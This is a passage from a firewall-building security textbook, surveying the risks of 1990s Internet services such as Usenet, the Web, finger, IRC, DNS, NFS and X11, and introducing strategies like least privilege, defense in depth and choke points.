Internet Services 		Next: 2.5 The World Wide Web

2.4 Usenet News

While electronic mail allows people to communicate, it's most efficient as a way for one person to send a message to another, or to a small list of people interested in a particular topic. Newsgroups are the Internet counterpart to bulletin boards, and are designed for many-to-many communication. Mailing lists also support many-to-many communication, but much less openly and efficiently, because there's no easy way to find out about all mailing lists, and every recipient has his own copy of every message. The largest discussion mailing lists (i.e., lists where discussions take place among subscribers, rather than lists used to simply distribute information or announcements to subscribers) have tens of thousands of subscribers; the most popular newsgroups have hundreds of thousands. Usenet news is rather like television: there's a lot going on; most of it has little socially redeeming value; some of it is fantastically amusing or informative; and everybody wants it.

The risks of news are much like those of electronic mail: your users might foolishly trust information received; they might release confidential information; and you might get flooded. News resembles a flood when it's functioning normally - most sites receive hundreds of megabytes a day, and the amount increases steadily, doubling in volume approximately every six months - so you must make absolutely sure to configure news so that floods don't affect other services. Because news is rarely an essential service, denial of service attacks on a single site are usually just ignored. The security risks of news are therefore quite low. You might want to avoid news because you don't have the bandwidth or the disk space to spare, but it's not a significant security problem.

Network News Transfer Protocol (NNTP) is used to transfer news across the Internet. In setting up the news server at your site, you'll need to determine the most secure way for news to flow into your internal systems so NNTP can't be used to penetrate your system. Some sites put the news server on the bastion host, others on an internal system, as we'll describe in Chapter 8. NNTP doesn't do much, and your external transfers of news will all be with specific other machines (it's not like mail, which you want to receive from everybody), so it's not particularly difficult to secure.

The biggest security issue you'll face with news is what to do with private newsgroups. Many sites create private local newsgroups to facilitate discussions among their users; these private newsgroups often contain sensitive, confidential, or proprietary information. Someone who can access your NNTP server can potentially access these private newsgroups, resulting in disclosure of this information. If you're going to create private newsgroups, be sure to configure NNTP carefully to control access to these groups. (The configuring of NNTP to work in a firewall environment is discussed more fully in Chapter 8.)

Previous: 2.3 Remote Terminal Access and Command Execution | Building Internet Firewalls | Next: 2.5 The World Wide Web
2.3 Remote Terminal Access and Command Execution | Book Index | 2.5 The World Wide Web


[Chapter 2] 2.5 The World Wide Web

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 2.4 Usenet News Chapter 2
Internet Services 		Next: 2.6 Other Information Services

2.5 The World Wide Web

Mail, FTP, Telnet, and Usenet news have been around since the early days of the Internet; they're actually extensions of services provided well before the Internet even existed. The World Wide Web (WWW) is a new, entirely Internet-based concept, based in part on existing services, and in part on a new protocol, HyperText Transfer Protocol (HTTP).

Many people confuse the functions and origins of WWW, Mosaic, and HTTP, and the terminology used to refer to these three distinct entities has become muddy. Some of the muddiness was introduced intentionally; Web browsers attempt to provide a seamless interface to a wide variety of information through a wide variety of mechanisms, and blurring the distinctions makes it easier to use, if more difficult to comprehend. Here is a quick summary of what the individual entities are about.

The WWW is the collection of HTTP servers (see the description of HTTP below) on the Internet. The Web is responsible, in large part, for the recent explosion in Internet activity. WWW is based on concepts developed at the European Particle Physics Laboratory (CERN) in Geneva, Switzerland, by Tim Berners-Lee and others. Much of the groundbreaking work on Web clients was done at the National Center for Supercomputing Applications (NCSA) at the University of Illinois in Urbana-Champaign. There are many organizations and individuals developing Web client and server software these days, and many more using these technologies for a huge range of purposes. Nobody "controls" the Web, however, much as nobody "controls" the Internet.

The Web uses hypertext technology to link together a web of documents, which may include text, graphics images, sound files, video files, and other formats. The documents can be traversed in any way - not only hierarchically - to search for information. Hypertext provides the navigation from one document to another on the Internet. Users can move freely from one to another, regardless of where the documents are located, by simply clicking on a word or picture for which an HTTP link has been defined.

HTTP is the primary application protocol that underlies the World Wide Web: it provides users access to the files that make up the Web. As mentioned above, these files might be in many different formats (text, graphics, audio, video, etc.), but the most common format on the Web is the HyperText Markup Language (HTML). HTML is a standardized page description language for creating Web pages. It provides basic document-formatting capabilities (including the ability to include graphics), and allows you to specify hypertext links to other servers and files.

Mosaic, developed by Marc Andreessen and others at NCSA, is an HTTP client, which is used as a browser of the Web. NCSA Mosaic is free and runs on Windows, the Macintosh, and many different flavors of UNIX. There are many other web browsers available and as this book goes to press, the most popular is Netscape Navigator, a commercial product that is available free for nonprofit and educational use or for commercial evaluation. It also runs on Windows, the Macintosh, and various UNIX machines. (Other Web browsers include Lynx, ViolaWWW, perlWWW, and MidasWWW.) HTTP is but one protocol spoken by Mosaic; Mosaic clients typically also speak at least the FTP, Gopher, and WAIS protocols. Netscape Navigator speaks all of those and also NNTP and SMTP. Thus, when users say "we want Mosaic" or "we want Netscape," what they really mean, from a protocol level, is that they want access to the HTTP servers that make up the WWW, as well as the associated Gopher, WAIS, and FTP servers (plus, for Netscape, NNTP and SMTP servers).

Web browsers are fantastically popular, and for good reason. They provide a rich, graphical interface to an immense number of Internet resources. Information and services that were unavailable or expert-only before are now easily accessible. In Silicon Valley, you can use the Web to have dinner delivered without leaving your computer except to answer the door. It's hard to get a feel for the Web without experiencing it; it covers the full range of everything you can do with a computer, from the mundane to the sublime with a major side trip into the ridiculous.

Unfortunately, Web browsers and servers are hard to secure. The usefulness of the Web is in large part based on its flexibility, but that flexibility makes control difficult. Just as it's easier to transfer and execute the right program from a Web browser than from FTP, it's easier to transfer and execute a malicious one. Web browsers depend on external programs, generically called "viewers" (even if they play sounds instead of showing pictures), to deal with data types that the browsers themselves don't understand. (The browsers generally understand basic data types such as HTML, plain text, and JPEG and GIF graphics.) You should be very careful about which viewers you configure by default; you don't want a viewer that can do dangerous things because it's going to be running on your computers, as if it were one of your users, taking commands from an external source. You also want to warn users not to add viewers, or change viewer configurations, based on advice from strangers.

Because an HTML document can easily link to documents on other servers, it's easy for people to become confused about exactly who is responsible for a given document. New users may not notice when they go from internal documents at your site to external ones. This has two unfortunate consequences. First, they may trust external documents inappropriately (because they think they're internal documents.) Second, they may blame the internal Web maintainers for the sins of the world. People who understand the Web tend to find this hard to believe, but it's a common misconception: the dark side of having a very smooth transition between sites.

Most Web servers are reasonably secure, as shipped. However, they can also call external programs. These programs are relatively easy to write, but very difficult to secure. You should treat server-side extensions with the same caution you would treat a new server of any kind.

(We discuss the security of Web clients and servers in more detail in Chapter 8.)

Previous: 2.4 Usenet News | Building Internet Firewalls | Next: 2.6 Other Information Services
2.4 Usenet News | Book Index | 2.6 Other Information Services


[Chapter 2] 2.6 Other Information Services

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 2.5 The World Wide Web Chapter 2
Internet Services 		Next: 2.7 Information About People

2.6 Other Information Services

Many users also want access to additional information services; Gopher, WAIS, and Archie are the most popular.

Gopher is a menu-oriented, text-based tool that helps users find information on the Internet. "Gopher" isn't an acronym for anything; it was developed at the University of Minnesota, whose mascot is the "Golden Gopher." Information on a Gopher server is organized as a series of hierarchical menus from which a user selects items. Each item can be a file, a form, or an additional menu, with its own items. There are a number of different Gopher clients available, including free, shareware, and commercial clients for Windows, Macintosh, and UNIX. Gopher clients and servers use an extensible data scheme, much as Web clients and servers do, and are thus subject to many of the same security concerns.

Wide Area Information Service (WAIS) was developed by a consortium of companies: Thinking Machines, Apple, Dow Jones, and KPMG Peat Marwick; the development was led by Brewster Kahle. A WAIS user submits a simple query (typically a keyword or a phrase), and the WAIS server sends back a list of the documents containing those words, along with a score for each document. This score is a composite of the number of times the keywords are mentioned and the length of the document; shorter documents get higher scores, as do documents that mention the keywords more often. The list of documents is returned sorted by score, so that with any luck the most relevant documents appear first in the list. The server maintains extensive indexes of the contents of all the documents on the server to allow it to do these searches efficiently. There are currently several hundred WAIS servers on the Internet. You can access them with WAIS-protocol clients, or by using a Web browser to access one of the sites that provides HTTP-WAIS gateways (e.g., http://www.ai.mit.edu/the-net/wais.html).

Archie is an Internet service that searches indexes of anonymous FTP servers for file and directory names. Archie servers typically provide service via Telnet and email in addition to dedicated Archie clients. Archie service providers generally prefer that users use dedicated Archie clients, because they impose less of a load on the server. Archie is also accessible through Web browsers via sites that provide HTTP-Archie gateways, such as the one at http://www.nexor.co.uk/archie.html. At this point, there are only about 20 Archie servers throughout the world, partly because of the significant resources (computing power, disk space, network bandwidth, and administrator time) required to run an Archie server, and partly because each Archie server searches much of the Internet for FTP'able files on a regular basis. If there were a large number of Archie servers, so much bandwidth would be consumed looking for resources that it would be impossible to use the resources.

WAIS and Archie are less open to mischief than HTTP and Gopher, because they don't return data of arbitrary types. If a WAIS server advises you that a document is about gardening, and it turns out to be about manufacturing jewelry in your spare time, this may be annoying, but it's not a problem for the security of your computers. Unfortunately, providing access to some of these services may open other security holes unrelated to the service itself. For example, allowing your users to access Archie directly may allow attackers to access your NFS and NIS/YP servers, as we discuss in Chapter 8.

Running servers is somewhat riskier. Unlike the clients, the servers for these protocols - including WAIS and Archie - accept arbitrary queries, and you must be sure that they aren't going to produce unexpected results. Any server that acts on requests from potentially hostile users is vulnerable to denial of service attacks and to executing unexpected commands on the server machine with the permissions of the server program.

Previous: 2.5 The World Wide Web | Building Internet Firewalls | Next: 2.7 Information About People
2.5 The World Wide Web | Book Index | 2.7 Information About People


[Chapter 2] 2.7 Information About People

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 2.6 Other Information Services Chapter 2
Internet Services 		Next: 2.8 Real-Time Conferencing Services

2.7 Information About People

The Internet does not have a proper service for looking up information about people on the network as a whole, although a few attempts at registries have sprung up. Even if you know a person's real name and where they work, for example, you can't go to a central place to look up that person's user name or email address. However, there are two common services that provide some information about people, finger and whois.

The finger service looks up information about a user who has an account on the machine being queried, whether or not that user is currently logged in to the machine. This information may include the person's real name, login, phone number, office location, information about when and where they most recently logged in, and a brief message specified by the user.

You don't need to know the user name in order to use finger; it will generally give you information about anybody whose user name or real name contains the string you specify. If you don't specify a string, it will list information about everybody currently logged in to the machine being queried. finger can provide invaluable information to intruders, e.g., by identifying users who rarely log in, or names of gateway systems. You may wish to block finger requests that come from outside your internal network, or to supply only minimal information in response to these requests. finger is legitimately used by plenty of people who are simply trying to figure out what user name to send mail to, but those people don't need all the information that finger normally gives out.

It's less risky to use a finger client than to run a finger server. It's not without risk, however. The user-customizable message can contain control characters, and some finger clients rely on the length limitations normally built into the finger server to keep the returned information short. It's easy to construct a finger server that will be a denial of service attack. Depending on the finger client and the terminal, or terminal emulator, it's running on, control characters may produce effects anywhere from the annoying (it beeps maniacally and makes your screen look weird) to the disastrous (it downloads macros to your terminal, and then tells your terminal to pretend you'd typed the keys to invoke those macros, which can issue arbitrary commands as you, for example, to mail off your password file or delete all your files). You should run a finger client that doesn't permit control characters.

The whois service is similar to finger, but it obtains publicly available information about hosts, networks, domains, and their administrators. By default, whois clients query the host rs.internic.net at the Internet's Network Information Center (InterNIC), which maintains information about Internet domain and network administrators.[2]

[2] People who have been on the Internet a long time may remember when everybody who was anybody on the Internet was in the NIC database, but there isn't enough room for everybody anymore.

Because whois is the closest thing to an Internet white pages protocol, some sites choose to write servers that use the whois protocol to distribute information about their users. If you decide to do this, the usual concerns apply about writing servers so they don't give out too much information, and so they don't allow queries to cause them to execute arbitrary commands.

Previous: 2.6 Other Information Services | Building Internet Firewalls | Next: 2.8 Real-Time Conferencing Services
2.6 Other Information Services | Book Index | 2.8 Real-Time Conferencing Services


[Chapter 2] 2.8 Real-Time Conferencing Services

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 2.7 Information About People Chapter 2
Internet Services 		Next: 2.9 Name Service

2.8 Real-Time Conferencing Services

There are a number of different real-time conferencing services available on the Internet, including talk, IRC, and the various services provided over the Multicast Backbone (MBONE). All of these services provide a way for people to interact with other people, as opposed to with databases or information archives. Electronic mail and Usenet news are designed to facilitate asynchronous communications; they work even if the participants aren't currently logged in. The next time they log in, the email messages or news postings will be waiting for them. Real-time conferencing services, on the other hand, are designed for interactive use by on-line participants.

talk is the oldest real-time conferencing system used on the Internet. It is available on most UNIX machines and allows two people to hold a conversation. A user initiates a talk session by issuing the command "talk other-user@host", specifying the other user's address in basically the same way as their email address. The other user gets a message on his screen that says "so-and-so is requesting a talk session" and explaining how to answer. When the contacted user answers (the equivalent of picking up the phone when someone calls you), talk finishes establishing the connection between the caller and the contacted user; both users see a split screen, where what they type appears in the top half of the screen, and what the other user types appears in the bottom half.

talk is not widely used between strangers on the Internet, although it is often used between colleagues or friends at different sites (or even different parts of the same building). Some people find it convenient, useful, or enjoyable to keep a window open with a talk session to a colleague (or a friend) while they work; it's less intrusive than a phone call, and allows you to convey textual information - commands to be run, output from commands cut-and-pasted for the other user to see, etc. - more conveniently than over the phone. There aren't really any network security implications for talk itself; the only issue is that it can be very tricky to allow across a firewall without unintentionally opening other security holes, as we describe in Chapter 8.

Internet Relay Chat (IRC) is sort of like Citizens Band (CB) radio on the Internet; it has its own little culture involving lots of people talking at each other. Users access IRC via dedicated IRC clients, or by using Telnet to access a site that provides public IRC client service. IRC servers provide hundreds (sometimes thousands) of named "channels" for users to join. These channels come and go (anyone can create a new channel, and a channel survives as long as there's anyone on it), although some popular channels are more or less permanent. Unlike talk, which is limited to a pair of users, any number of people can participate on an IRC channel simultaneously. Some IRC clients allow a user to participate in multiple channels simultaneously (sort of like taking part in two different conversations at once at a party).

There are a number of security problems with IRC; most of the problems aren't with the protocol itself, but with the clients, and with who uses IRC and how. Many of the clients allow servers far more access to local resources (files, processes, programs, etc.) than is wise; a malicious server can wreak havoc with a weak client. Further, many of the most frequent users of IRC are pranksters and crackers who use IRC to pass technical information among themselves, and to try to trick other IRC users. Their idea of a fine time is to tell some neophyte IRC user "Hey, give this command to your IRC client so that I can show you this neat new toy I wrote." Then, when the unsuspecting user follows the prankster's directions, the commands trash the system. Anyone using IRC needs a good client program and a healthy dose of wariness and suspicion.

The Multicast Backbone (MBONE) is the source of a new set of services on the Internet, focusing on expanding real-time conference services beyond text-based services like talk and IRC to include audio, video, and electronic whiteboard. The MBONE is still in its infancy, but it is already used to send real-time video of many technical conferences and programs over the Internet, e.g., Internet Engineering Task Force meetings, keynote sessions from USENIX conferences, space shuttle flight operations, and so on. At this point, the commonly used MBONE services appear to be reasonably secure. Unintentional denial of service can be a real concern with the MBONE, however, because audio and video use so much memory. The methods used to distribute MBONE across the Internet also present some interesting risks, which are discussed in Chapter 8.

Previous: 2.7 Information About People | Building Internet Firewalls | Next: 2.9 Name Service
2.7 Information About People | Book Index | 2.9 Name Service


[Chapter 2] 2.9 Name Service

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 2.8 Real-Time Conferencing Services Chapter 2
Internet Services 		Next: 2.10 Network Management Services

2.9 Name Service

Name service is what translates between the host names that people use and the numerical IP addresses that machines use. In the early days of the Internet, it was possible for every site to maintain a host table that listed the name and number for every machine on the Internet that they might ever care about. With millions of hosts attached, it isn't practical for any single site to maintain a list of them, much less for every site to do so. Instead, the Domain Name Service (DNS) allows each site to maintain information about its own hosts, and be able to find the information for other sites. DNS isn't a user-level service, per se, but it underlies SMTP, FTP, Telnet, and virtually every other service users need, because users want to be able to type "telnet fictional.com" rather than "telnet 10.100.242.32". Furthermore, many anonymous FTP servers will not allow connections from clients unless they can use DNS to look up the client host's name, so that it can be logged.

The net result is that you must both use and provide name service in order to participate in the Internet. The main risk in providing DNS service is that you may give away more information than you intend. For example, DNS lets you include information about what hardware and software you're running, information that you don't want an attacker to have. In fact, you may not even want an attacker to know the names of all your internal machines. Chapter 8 discusses how to configure name service in order to make full information available to your internal hosts, but only partial information to external inquirers.

Using DNS internally and then relying on host names for authentication makes you vulnerable to an intruder who can install a lying DNS server. This can be handled by a combination of methods, including:

  • Using IP addresses (rather than hostnames) for authentication on services that need to be more secure.

  • Authenticating users instead of hosts on the most secure services, because IP addresses can also be spoofed.

Some sites use Sun's Network Information Service, formerly known as Yellow Pages (NIS/YP) to distribute hostname information internally. It is not necessary to do this: you can use DNS clients instead on any platform that supports NIS/YP; but it may be more convenient for configuring your internal machines. It is certainly neither necessary nor advisable to provide NIS/YP service to external machines. NIS/YP is designed to administer a single site, not to exchange information between sites, and it is highly insecure. For example, it would not be possible to provide your host information to external sites via NIS/YP without also providing your password file, if both are available internally.

Previous: 2.8 Real-Time Conferencing Services | Building Internet Firewalls | Next: 2.10 Network Management Services
2.8 Real-Time Conferencing Services | Book Index | 2.10 Network Management Services


[Chapter 2] 2.10 Network Management Services

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 2.9 Name Service Chapter 2
Internet Services 		Next: 2.11 Time Service

2.10 Network Management Services

There are a variety of services that are used to manage and maintain networks; these are services that most users don't use directly - indeed, that many of them have never even heard of - but they are very important tools for network managers.

The two most common network management tools are ping and traceroute. Both are named after the UNIX programs that were the first implementations, but both are now available in some form on almost all Internet-capable platforms. They do not have their own protocols, but make use of the same underlying protocol, the Internet Control Message Protocol (ICMP). Unlike most of the programs we've discussed, they are not clients of distinguishable servers. ICMP is implemented at a low level as a required part of the TCP/IP protocols all Internet hosts use.

ping simply tests reachability; it tells you whether or not you can get a packet to and from a given host, and often additional information like how long it took the packet to make the round trip. traceroute tells you not only whether you can reach a given host (and whether it can answer), but also the route your packets take to get to that host; this is very useful in analyzing and debugging network trouble somewhere between you and some destination.

Because there aren't servers for ping and traceroute, you can't simply decide not to turn the servers on. It's possible to use packet filtering to prevent the packets from being transmitted from your site or received at your site, but it's usually not necessary. There are no known risks for outbound ping or traceroute, and very few for inbound ping and traceroute. They can be used for denial of service attacks, but no more so than other protocols. More threateningly, they can be used to determine which hosts at your site exist, as a preliminary step to attacking them. For this reason, many sites either prevent or limit the relevant packets inbound.

Simple Network Management Protocol (SNMP) is a protocol designed to make it easy to centrally manage network equipment (routers, bridges, concentrators, hubs, and, to a certain extent, even hosts). SNMP management stations can request information (whether a given interface is up or down, how many bytes have been moved through that interface, how many errors there have been on that interface, etc.) from network equipment via SNMP. SNMP management stations can also control certain functions of the network equipment (taking an interface up or down, setting its parameters, and so on). The network equipment can also report urgent information (for example, that a line has gone down, or that there are a significant number of errors occurring on a given line) to SNMP management stations via SNMP. The major security risk with SNMP is that someone else might be able to take over control of your network equipment and reconfigure it for their purposes (disabling packet filtering, changing routing, or simply trashing your configuration).

Previous: 2.9 Name Service | Building Internet Firewalls | Next: 2.11 Time Service
2.9 Name Service | Book Index | 2.11 Time Service


[Chapter 2] 2.11 Time Service

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 2.10 Network Management Services Chapter 2
Internet Services 		Next: 2.12 Network File Systems

2.11 Time Service

Network Time Protocol (NTP) is an Internet service that sets the clocks on your system with great precision. Synchronizing time among different machines is important in many ways. From a security point of view, examining the precise times noted on the log files of different machines may help in analyzing patterns of break-ins. Having synchronized clocks is also a requirement for preventing attackers from recording an interaction and then repeating it (a playback attack); if time stamps are encoded in the interaction, they will be incorrect the second time the transaction is replayed. Kerberos authentication, for example, which we discuss in Chapter 10, depends on time synchronization. From a practical point of view, synchronized clocks are also required to successfully use NFS.

You do not have to use NTP across the Internet; it will synchronize clocks to each other within your site, if that's all you want. The reason that people use NTP from the Internet is that a number of hosts with extremely accurate clocks - radio clocks that receive the time signal from the United States master atomic clocks or from the atomic clocks in the Global Positioning System (GPS) satellites - provide NTP service to make certain that your clocks are not only synchronous with each other but also correct. Without an external time service, you might find that all your computers have exactly the same wrong time. Accepting an external service makes you vulnerable to spoofing, but because NTP won't move the clocks very far very fast, a spoofed external clock is unlikely to make you vulnerable to a playback attack, although it could succeed in annoying you by running all your clocks slow or fast. Radio clocks suitable for use as NTP time sources are not terribly expensive, however, and if you are using NTP to synchronize clocks for an authentication protocol like Kerberos, you should buy your own and provide all time service internally, instead of using an external reference.

Previous: 2.10 Network Management Services | Building Internet Firewalls | Next: 2.12 Network File Systems
2.10 Network Management Services | Book Index | 2.12 Network File Systems


[Chapter 2] 2.12 Network File Systems

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 2.11 Time Service Chapter 2
Internet Services 		Next: 2.13 Window Systems

2.12 Network File Systems

There are several protocols available for allowing computers to mount filesystems that are physically attached to other computers. This is highly desirable, because it lets people use remote files without the overhead of transferring them back and forth and trying to keep multiple versions in sync. It's also extremely dangerous, because it means that you're allowing people to read your data without separately authenticating themselves to the machine that the data is on. The Network File System (NFS) and the Andrew File System (AFS) are the two most frequently used network file systems in UNIX. NFS was designed for use in local area networks, and assumes fast response, high reliability, time synchronization, and a high degree of trust between machines. AFS was designed for use across larger networks, and better tolerates poor performance and lower degrees of trust.

There are some serious security problems with NFS. If you haven't properly configured NFS (which can be tricky), an attacker may be able to simply NFS-mount your filesystems. The way NFS works, client machines are allowed to read and change files stored on the server without having to log in to the server or enter a password. Because NFS doesn't log transactions, you might not even know that someone else has full access to your files.

NFS does provide a way for you to control which machines can access your files. A file called /etc/exports lets you specify which filesystems can be mounted, and which machines can mount them. If you leave a filesystem out of /etc/exports, no machine can mount it. If you put it in /etc/exports, but don't specify what machines can mount it, you're allowing any machine to mount it.

A number of subtler attacks on NFS are also possible. For example, NFS has very weak client authentication, and an attacker may be able to convince the NFS server that a request is coming from a client that's permitted in the exports file. There are also situations where an attacker can hijack an existing NFS mount.

These problems are mostly due to the fact that NFS uses host authentication, which is easily spoofed. Because NFS doesn't actually work well across the Internet in any case (it assumes a much faster connection between hosts), there isn't much point in allowing it between your site and the Internet. It creates a security problem without adding functionality.

AFS uses Kerberos for authentication, and optionally encryption, and is designed to work across wide area networks, including the Internet. NFS is shipped as part of the operating system with most versions of UNIX, while AFS is a third-party product. Because of this, and because AFS and Kerberos require significant technical expertise to set up and maintain, AFS is not widely used outside of a small number of large sites. If you have a need to do secure, wide area network filesystems, it may be worth investigating AFS, but it is not covered here.

Previous: 2.11 Time Service | Building Internet Firewalls | Next: 2.13 Window Systems
2.11 Time Service | Book Index | 2.13 Window Systems


[Chapter 2] 2.13 Window Systems

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 2.12 Network File Systems Chapter 2
Internet Services 		Next: 2.14 Printing Systems

2.13 Window Systems

Most UNIX machines currently provide window systems based on the X11 window system. Network access is an important feature of X11. As more and more programs have graphical user interfaces, remote terminal access becomes less and less useful; you need graphics, not just text. X11 gives you remote graphics. Unfortunately, it does this by providing complete access to all of the capabilities it gives you when you are sitting in front of the machine.

X11 servers are tempting targets for intruders. An intruder with access to an X11 server may be able to do any of the following types of damage:

Get screen dumps

These are copies of whatever is shown on the users' screens.

Read keystrokes

These may include users' passwords.

Inject keystrokes

They'll look just as if they were typed by the user. Imagine how dangerous this could be in a window in which a user is running a root shell.

By default, X11 servers use address-based authentication if they use any authentication at all; many users disable this feature in the name of convenience. X11, therefore, isn't safe to use across the Internet. The server does provide the option of using stronger authentication, but most clients aren't capable of using it, and it is thus rarely turned on. In practice, it usually prevents anybody from authenticating.

Previous: 2.12 Network File Systems | Building Internet Firewalls | Next: 2.14 Printing Systems
2.12 Network File Systems | Book Index | 2.14 Printing Systems


[Chapter 2] 2.14 Printing Systems

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 2.13 Window Systems Chapter 2
Internet Services 		Next: 3. Security Strategies

2.14 Printing Systems

Both lp, the System V printing system, and lpr, the Berkeley Software Distribution (BSD) printing system, provide remote printing options. These allow a computer to print to a printer that is physically connected to a different computer. Obviously, in a local area network this is highly desirable; you shouldn't need as many printers as you have machines. However, the remote printing options are both insecure and inefficient as ways to transfer data across the Internet. There is no reason to allow them. If you have a need to print at a site across the Internet, or to allow another site to use your printers, it's possible to set up special mail aliases that print the mail on receipt. This is the method many companies use even across in-house wide-area networks because it's considerably more reliable.

Previous: 2.13 Window Systems | Building Internet Firewalls | Next: 3. Security Strategies
2.13 Window Systems | Book Index | 3. Security Strategies


[Chapter 3] Security Strategies

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 2.14 Printing Systems Chapter 3 Next: 3.2 Defense in Depth

3. Security Strategies

Contents:
Least Privilege
Defense in Depth
Choke Point
Weakest Link
Fail-Safe Stance
Universal Participation
Diversity of Defense
Simplicity

Before we discuss the details of firewalls, it's important to understand some of the basic strategies employed in building firewalls and in enforcing security at your site. These are not staggering revelations; they are straightforward approaches. They're presented here so that you can keep them in mind as you put together a firewall solution for your site.

3.1 Least Privilege

Perhaps the most fundamental principle of security (any kind of security, not just computer and network security) is that of least privilege. Basically, the principle of least privilege means that any object (user, administrator, program, system, whatever) should have only the privileges the object needs to perform its assigned tasks - and no more. Least privilege is an important principle for limiting your exposure to attacks and for limiting the damage caused by particular attacks.

Some car manufacturers set up their locks so that one key works the doors and the ignition, and a different key works the glove compartment and the trunk; that way, you can enforce least privilege by giving a parking lot attendant the ability to park the car without the ability to get at things stored in the trunk. Many people use splittable key chains, for the same reason. You can enforce least privilege by giving someone the key to your car, but not the key to your house as well.

In the Internet context, the examples are endless. Every user probably doesn't need to access every Internet service. Every user probably doesn't need to modify (or even read) every file on your system. Every user probably doesn't need to know the machine's root password. Every system administrator probably doesn't need to know the root passwords for all systems. Every system probably doesn't need to access every other system's files.

Applying the principle of least privilege suggests that you should explore ways to reduce the privileges required for various operations. For example:

  • Don't give a user the root password for a system if all she needs to do is reset the print system. Instead, write a privileged program the user can run that resets the print system.

  • Don't make a program run setuid to root if all it needs to do is write to one protected file. Instead, make the file group-writable to some group and make the program run setgid to that group rather than setuid to root.

  • Don't have your internal systems trust one of your firewall machines just so it can do backups. Instead, make the firewall machine trust the internal system, or, better yet, put a local tape drive on the firewall machine so that it can do its own backups.

Many of the common security problems on the Internet can be viewed as failures to follow the principle of least privilege. For example, there have been and continue to be any number of security problems discovered in Sendmail, which is a big, complex program; any such program is going to have bugs in it. The problem is that Sendmail runs (at least some of the time) setuid to root; many of the attacks against Sendmail take advantage of this. Because it runs as root, Sendmail is a high-value target that gets a lot of attention from attackers; the fact that it's a complex program just makes their jobs easier. This implies both that privileged programs should be as simple as possible and that, if a complex program requires privileges, you should look for ways to separate and isolate the pieces that need privileges from the complex parts.[1]

[1] It's important to realize that Sendmail is far from the only example we could cite; you can find similar problems in almost any large, complex, privileged piece of software.

Many of the solutions you'll employ in protecting your site are tactics for enforcing the strategy of least privilege. For example, a packet filtering system is designed to allow in packets for the services you want. Running insecure programs in an environment where only the privileges the programs absolutely need are available to them (e.g., a machine that's been stripped down in one way or another) is another example; this is the essence of a bastion host.

There are two problems with trying to enforce least privilege. First, it can be complex to implement when it isn't already a design feature of the programs and protocols you're using. Trying to add it on may be very difficult to get right. Some of the cars that try to implement least privilege with separate keys for the trunk and the ignition have remote trunk release buttons that are accessible without the keys, or fold-down rear seats that allow you to access the trunk without opening it the traditional way at all. You need to be very careful to be sure that you've actually succeeded in implementing least privilege.

Second, you may end up implementing something less than least privilege. Some cars have the gas cap release in the glove compartment. That's intended to keep parking lot attendants from siphoning off your gas, but if you lend a friend your car, you probably want them to be able to fill it up with gas. If you give your friend only the ignition key, you're giving them less than the minimum privilege you want them to have (because they won't be able to fill up the gas tank), but adding the key to the trunk and the glove compartment may give them more privilege than you want them to have.

You may find similar effects with computer implementations of least privilege. Trying to enforce least privilege on people, rather than programs, can be particularly dangerous. You can predict fairly well what permissions Sendmail is going to need to do its job; human beings are less predictable, and more likely to become annoyed and dangerous if they can't do what they want to. Be very careful to avoid turning your users into your enemies.

Previous: 2.14 Printing Systems | Building Internet Firewalls | Next: 3.2 Defense in Depth
2.14 Printing Systems | Book Index | 3.2 Defense in Depth


[Chapter 3] 3.2 Defense in Depth

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 3.1 Least Privilege Chapter 3
Security Strategies 		Next: 3.3 Choke Point

3.2 Defense in Depth

Another principle of security (again, any kind of security) is defense in depth. Don't depend on just one security mechanism, however strong it may seem to be; instead, install multiple mechanisms that back each other up. You don't want the failure of any single security mechanism to totally compromise your security. You can see applications of this principle in other aspects of your life. For example, your front door probably has both a doorknob lock and a deadbolt; your car probably has both a door lock and an ignition lock; and so on.

Although our focus in this book is on firewalls, we don't pretend that firewalls are a complete solution to the whole range of Internet security problems. Any security - even the most seemingly impenetrable firewall - can be breached by attackers who are willing to take enough risk and bring enough power to bear. The trick is to make the attempt too risky or too expensive for the attackers you expect to face. You can do this by adopting multiple mechanisms that provide backup and redundancy for each other: network security (a firewall), host security (particularly for your bastion host), and human security (user education, careful system administration, etc.). All of these mechanisms are important and can be highly effective, but don't place absolute faith in any one of them.

Your firewall itself will probably have multiple layers. For example, one architecture has multiple packet filters; it's set up that way because the two filters need to do different things, but it's quite common to set up the second one to reject packets that the first one is supposed to have rejected already. If the first filter is working properly, those packets will never reach the second; however, if there's some problem with the first, then hopefully you'll still be protected by the second. Here's another example: if you don't want people sending mail to a machine, don't just filter out the packets, also remove the mail programs from the machine. In situations where the cost is low, you should always employ redundant defenses.

Previous: 3.1 Least Privilege | Building Internet Firewalls | Next: 3.3 Choke Point
3.1 Least Privilege | Book Index | 3.3 Choke Point


[Chapter 3] 3.3 Choke Point

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 3.2 Defense in Depth Chapter 3
Security Strategies 		Next: 3.4 Weakest Link

3.3 Choke Point

A choke point forces attackers to use a narrow channel, which you can monitor and control. There are probably many examples of choke points in your life: the toll booth on a bridge, the check-out line at the supermarket, the ticket booth at a movie theatre.

In network security, the firewall between your site and the Internet (assuming that it's the only connection between your site and the Internet) is such a choke point; anyone who's going to attack your site from the Internet is going to have to come through that channel, which should be defended against such attacks. You should be watching carefully for such attacks and be prepared to respond if you see them.

A choke point is useless if there's an effective way for an attacker to go around it. Why bother attacking the fortified front door if the kitchen door around back is wide open? Similarly, from a network security point of view, why bother attacking the firewall if there are dozens or hundreds of unsecured dial-up lines that could be attacked more easily and probably more successfully?

A second Internet connection - even an indirect one, like a connection to another company which has its own Internet connection elsewhere - is an even more threatening breach. Internet-based attackers might not have a modem available, or might not have gotten around to acquiring phone service they don't need to pay for, but they can certainly find even roundabout Internet connections to your site.

